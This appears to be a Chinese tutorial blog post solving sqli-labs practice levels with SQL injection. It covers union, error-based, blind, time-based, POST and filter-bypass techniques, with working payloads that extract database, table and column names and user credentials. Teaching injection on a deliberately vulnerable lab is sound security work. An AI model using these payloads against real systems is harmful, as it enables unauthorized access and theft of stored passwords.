当前位置: 首页 > news >正文

sql注入靶场sqli-labs常见sql注入漏洞详解

目录

sqli-labs-less1

   1.less1普通解法

        1.在url里面填写不同的值,返回的内容也不同,证明,数值是进入数据库进行比对了的(可以被注入)

        2.判断最终执行的sql语句的后面还有内容吗,并且能够判断是字符型的拼接还是数字型的拼接

        3.判断当前语句查询的字段数,也就是有几列(order by 1..几)哪个数出错了就是有n-1个字段

        4.判断查询语句哪些字段是显示出来的

        5.利用上一步的回显和database(),version()函数回显数据库名和版本号

        6.爆出来哪些表有可能存在用户名和密码,根据sql原始表的特性知information_schema数据库下的tables表里面有相应的表名

        7.现在用户名和密码只可能在users表下,所有找出users表下有哪些字段,字段在information_schema数据库下的columns表里面有。

 

        8.数据库知道了,表知道了,字段知道了,开始查询内容

2.less1解法2报错注入(union用不了时)

1.爆表名

3.less1解法3无列名注入

        1.所以要另外找一个原始的数据库,看里面有没有这些信息,MySQL里面的sys库里面的

sys.schema_auto_increment_columns表里面有table_name

        2.不知道列名,要么是猜列名,要么就用无列名注入,把列名爆出来

sqli-labs-less8

  1.less8布尔盲注

1.爆数据库名

2.less8用python写布尔盲注脚本

1.爆数据库名

二分法爆数据库名

2.爆表名

3.爆字段名

sqli-labs-less9

1.时间注入

1.用python写时间注入脚本

sqli-labs-less1

   1.post提交方式的注入

1.-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='security'#

2.-1' union select 1,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'#

3.-1' union select 1,group_concat(password,0x3a,username) from users#

sqli-labs-less17

   1.有过滤的注入

        1、爆数据库名

2、爆表名

3、爆字段名

4、爆字段内容(用户名)


sqli-labs-less1

   1.less1普通解法

        1.在url里面填写不同的值返回的内容也不同,证明,数值是进入数据库进行比对了的(可以被注入)

select * from users where id='  1'--+  ' limit 0,1;(为什么要id=1'--+)  引号和前面的引号闭合,后面的引号被注释了

        2.判断最终执行的sql语句的后面还有内容吗,并且能够判断是字符型的拼接还是数字型的拼接

--+是url里面的注释,因为#有其他用处,--空格里面的空格会被忽略

        3.判断当前语句查询的字段数,也就是有几列(order by 1..几)哪个数出错了就是有n-1个字段

        4.判断查询语句哪些字段是显示出来的

?id=-2'union select 1,2,3--+ (-1可以让union左边的查询为空,从而只回显1,2,3所在字段,就可以知道会显示哪些字段了)

UNION:它用于将两个或多个查询的结果合并为一个结果集,并且会去除重复的行

        5.利用上一步的回显和database(),version()函数回显数据库名和版本号

        6.爆出来哪些表有可能存在用户名和密码,根据sql原始表的特性知information_schema数据库下的tables表里面有相应的表名

        7.现在用户名和密码只可能在users表下,所有找出users表下有哪些字段,字段在information_schema数据库下的columns里面有。

 

?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security'(限定数据库) and table_name='users' (限定表名)--+

        8.数据库知道了,表知道了,字段知道了,开始查询内容

?id=-1' union select 1,2,group_concat(username,0x3a,password) from users --+

2.less1解法2报错注入(union用不了时)

报错注入必须加concat函数将数据库名称连接到原始XML文档节点

利用updataxml()或者extractvalue()函数来报错

1.爆表名

?id=-1' and updatexml(1,concat(0x7e,substring((select group_concat(table_name) from information_schema.tables where table_schema='security'),1,24),0x7e),1) --+

updatexml(1,2,3)里面要三个字段,1,3随便取,2是xpath路径,不对就报错,

正是利用这个报错注入

concat把0x7e,substring三个字段连接起来输出(把查到的数据用自定义符号连接起来)

group_concat把表里面每一行的结果拼成一个字符串输出(用在查询语句里面来查询的

substring是截取字符串的一部分,末尾1,20是截取范围

?id=-1' and extractvalue(1,concat(0x7e,substring((select group_concat(table_name) from information_schema.tables where table_schema='security'),1,24),0x7e)) --+

extractvalue(1,2)里面两个字段1随便,2错误报错

concat把0x7e,substring三个字段连接起来输出

group_concat把表里面每一行的结果拼成一个字符串输出

substring是截取字符串的一部分,末尾1,20是截取范围

3.less1解法3无列名注入

当information_schema库被过滤了,就不能用了,里面的表名,列名,字段名就查不到了

        1.所以要另外找一个原始的数据库,看里面有没有这些信息,MySQL里面的sys库里面的

sys.schema_auto_increment_columns表里面有table_name

能查到users表名,但也仅限表名

        2.不知道列名,要么是猜列名,要么就用无列名注入,把列名爆出来

在知道的数据库名下查询这个select * from (select * from users a join users b)c;

因为连接的是两个相同的表,就会报错:字段重复,就知道重复的字段是什么了

join是连接两张表最后的c是因为子查询必须有个别名

using()排除已经知道的字段,就会爆出下一个字段select * from (select * from users a join users b using(id))c;

sqli-labs-less8

  1.less8布尔盲注

当输入id=1之类的东西,他的回显只有两个值,一个对,一个错,就要用布尔盲注

联合注入是需要页面有回显位。如果数据不显示只有对错页面显示我们可以选择布尔盲注

1.爆数据库名

对的回显

错的回显

所以115就是数据库名的第一个字母的asc码,substr后面的截取字段就可以一个个把数据库名爆出来

 

2.接着爆表名

?id=1' and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))=101--+

 

3.接着爆字段名

?id=1'and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>99--+

 

2.less8用python写布尔盲注脚本

1.爆数据库名

二分法爆数据库名

2.爆表名

3.爆字段名

sqli-labs-less9

1.时间注入

网页表现为,不管对错,都是一样的画面

比如sqli第九题,怎么样都是you are in …….

利用if判断语句和布尔盲注,如果asc码满足条件就延迟4,如果不满足就直接返回

?id=1' and if(ascii(substr(database(),1,1))=115,sleep(5),1)--+

条件满足网页在转圈圈

条件不满足网页直接返回

1.用python写时间注入脚本

sqli-labs-less11

   1.post提交方式的注入

和第一关一样,只不过是提交方式变化了,在表单标签里面注入

并且要填两个值

1.-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='security'#

 

 

2.-1' union select 1,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'#

 

 

3.-1' union select 1,group_concat(password,0x3a,username) from users#

 

 

sqli-labs-less17

   1.有过滤的注入

17关(username被转义了,只能name是正确的,然后password注入)

        1、爆数据库名

1' and extractvalue(1,concat(0x7e,database(),0x7e))#

 

2、爆表名

1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e))#

 

3、爆字段名

1' and extractvalue(1,concat(0x5c,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),0x5c))#

 

4、爆字段内容(用户名)

如果直接查询的话会报错,因为被过滤了

1' and (extractvalue(1,concat(0x5c,(select group_concat(username,password) from users),0x5c)))#

 

为了绕过他不让用users表的限制,把users表用(select username from users)代替

 

1' and (extractvalue(1,concat(0x5c,substring((select group_concat(username) from (select username from users)a),1,32),0x5c)))#

5、爆密码

1' and (extractvalue(1,concat(0x5c,substring((select group_concat(password) from (select password from users)a),1,32),0x5c)))#

相关文章:

  • 北京网站建设多少钱?
  • 辽宁网页制作哪家好_网站建设
  • 高端品牌网站建设_汉中网站制作
  • overleaf上latex表格的使用,latex绘制三线表
  • 【OpenCV-Python实战项目】08-YOLO-V3实时目标检测
  • java面试题:简化URL
  • SqlServer 按时间-日期自动分表
  • 【人工智能】人工智能可解释性和透明度的详细探讨
  • C# 串口通讯怎么防止数据丢失
  • C语言:设计模式
  • 嵌入式 Linux 系统中的常用文件系统及应用场景
  • 数理基础知识
  • vue3中图片引入
  • Apache Curator 创建节点时,如果节点存储就会抛出异常吗?
  • 正点原子imx6ull-mini-Linux驱动之Linux IIO 驱动实验
  • 计算机网络408考研 2021
  • C++ Rect And Point Search Algorithm
  • CORS与JSONP漏洞原理及其复现
  • classpath对获取配置文件的影响
  • ES6 ...操作符
  • extract-text-webpack-plugin用法
  • js继承的实现方法
  • Python语法速览与机器学习开发环境搭建
  • 大整数乘法-表格法
  • 使用阿里云发布分布式网站,开发时候应该注意什么?
  • 思维导图—你不知道的JavaScript中卷
  • 小李飞刀:SQL题目刷起来!
  • TPG领衔财团投资轻奢珠宝品牌APM Monaco
  • # windows 运行框输入mrt提示错误:Windows 找不到文件‘mrt‘。请确定文件名是否正确后,再试一次
  • # 数论-逆元
  • # 详解 JS 中的事件循环、宏/微任务、Primise对象、定时器函数,以及其在工作中的应用和注意事项
  • #laravel部署安装报错loadFactoriesFrom是undefined method #
  • (4)事件处理——(7)简单事件(Simple events)
  • (6)STL算法之转换
  • (NSDate) 时间 (time )比较
  • (翻译)terry crowley: 写给程序员
  • (附源码)基于ssm的模具配件账单管理系统 毕业设计 081848
  • (转)Spring4.2.5+Hibernate4.3.11+Struts1.3.8集成方案一
  • .NET Core 成都线下面基会拉开序幕
  • .net 发送邮件
  • .net 怎么循环得到数组里的值_关于js数组
  • .NET实现之(自动更新)
  • .Net通用分页类(存储过程分页版,可以选择页码的显示样式,且有中英选择)
  • /etc/sudoer文件配置简析
  • /使用匿名内部类来复写Handler当中的handlerMessage()方法
  • ??myeclipse+tomcat
  • @Transient注解
  • [1]-基于图搜索的路径规划基础
  • [Android]创建TabBar
  • [AutoSar]BSW_Com07 CAN报文接收流程的函数调用
  • [BROADCASTING]tensor的扩散机制
  • [C++]——继承 深继承
  • [C++]拼图游戏
  • [C++]使用yolov10的onnx模型结合onnxruntime和bytetrack实现目标追踪
  • [C++随笔录] 红黑树
  • [CTO札记]盛大文学公司名称对联
  • [C语言][C++][时间复杂度详解分析]二分查找——杨氏矩阵查找数字详解!!!
  • [LeetCode]Multiply Strings